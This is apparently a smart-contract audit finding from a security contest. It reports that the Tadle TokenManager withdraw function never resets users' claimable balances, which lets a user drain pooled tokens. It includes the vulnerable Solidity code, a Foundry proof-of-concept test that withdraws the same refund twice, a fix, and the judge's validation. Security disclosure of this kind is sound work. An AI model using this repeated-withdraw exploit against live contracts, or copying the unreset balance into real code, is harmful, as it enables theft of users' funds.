Tadle
Tadle
DeFiFoundry
27,750 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

`TokenManager::withdraw` does not update `userTokenBalanceMap`, allowing malicious users to drain the contract's tokens

0xbrivan2

Summary

The TokenManager::withdraw function does not update userTokenBalanceMap after a withdrawal, allowing malicious users to repeatedly withdraw tokens and drain the contract's tokens.

Vulnerability Details

The TokenManager contract is responsible for managing token transfers within the protocol. The withdraw function allows users to withdraw tokens based on their TokenBalanceType, with the userTokenBalanceMap tracking the balances that can be claimed by users. However, the withdraw function does not update the userTokenBalanceMap after a successful withdrawal, which enables malicious users to repeatedly withdraw tokens and drain the contract’s tokens:

function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
​
if (claimAbleAmount == 0) {
return;
}
​
address capitalPoolAddr = tadleFactory.relatedContracts(
RelatedContractLibraries.CAPITAL_POOL
);
​
if (_tokenAddress == wrappedNativeToken) {
/**
* @dev token is native token
* @dev transfer from capital pool to msg sender
* @dev withdraw native token to token manager contract
* @dev transfer native token to msg sender
*/
_transfer(
wrappedNativeToken,
capitalPoolAddr,
address(this),
claimAbleAmount,
capitalPoolAddr
);
​
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
payable(msg.sender).transfer(claimAbleAmount);
} else {
/**
* @dev token is ERC20 token
* @dev transfer from capital pool to msg sender
*/
_safe_transfer_from(
_tokenAddress,
capitalPoolAddr,
_msgSender(),
claimAbleAmount
);
}
​
// @audit `userTokenBalanceMap` is not updated
emit Withdraw(
_msgSender(),
_tokenAddress,
_tokenBalanceType,
claimAbleAmount
);
}

In the code above, the function does not update the userTokenBalanceMap for the caller after a successful withdrawal, allowing malicious users to repeatedly call the withdraw function and drain tokens.

Proof Of Concept

The following test demonstrates that malicious users can keep calling withdraw to drain the contract tokens. Copy and paste the following test into test/PreMarkets.t.sol:

function test_usersCanDrainTokens() public {
vm.startPrank(user1);
capitalPool.approve(address(mockUSDCToken));
​
// user creates Bid offer, he deposits 1000 USDC as collateral
vm.startPrank(user);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
1000 * 1e18,
10000,
300,
OfferType.Bid,
OfferSettleType.Turbo
)
);
​
// user2 creates Bid offer, he deposits 1000 USDC as collateral
vm.startPrank(user2);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
1000 * 1e18,
10000,
300,
OfferType.Bid,
OfferSettleType.Turbo
)
);
​
// user cancels his offer to get back his collateral of 1000 USDC
vm.startPrank(user);
address userOffer = GenerateAddress.generateOfferAddress(0);
address userStock = GenerateAddress.generateStockAddress(0);
preMarktes.closeOffer(userStock, userOffer);
​
uint userUSDCBalanceBeforeWithdraw = mockUSDCToken.balanceOf(address(user));
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
uint userUSDCBalanceAfterWithdraw = mockUSDCToken.balanceOf(address(user));
​
// user gots his 1000 USDC collateral
assert(userUSDCBalanceAfterWithdraw == userUSDCBalanceBeforeWithdraw + 1000 ether);
​
// user can keep withdrawing again
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
uint userUSDCBalanceAfterAnotherWithdraw = mockUSDCToken.balanceOf(address(user));
​
// user withdrawn another 1000 USDC
assert(userUSDCBalanceAfterAnotherWithdraw == userUSDCBalanceBeforeWithdraw + 2000 ether);
}
forge test --mt test_usersCanDrainTokens
​
[PASS] test_usersCanDrainTokens() (gas: 1067512)

Impact

Malicious users can exploit this vulnerability to drain the tokens deposited into the TokenManager contract by repeatedly calling the withdraw function.

Tools Used

Manual review

Recommendations

Consider updating userTokenBalanceMap after a successful withdraw. Below is a suggested modification to the withdraw function:

function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
​
if (claimAbleAmount == 0) {
return;
}
​
//...
​
+ userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType] -= claimAbleAmount;
emit Withdraw(
_msgSender(),
_tokenAddress,
_tokenBalanceType,
claimAbleAmount
);
}
Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-TokenManager-withdraw-userTokenBalanceMap-not-reset

Valid critical severity finding, the lack of clearance of the `userTokenBalanceMap` mapping allows complete draining of the CapitalPool contract. Note: This would require the approval issues highlighted in other issues to be fixed first (i.e. wrong approval address within `_transfer` and lack of approvals within `_safe_transfer_from` during ERC20 withdrawals)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.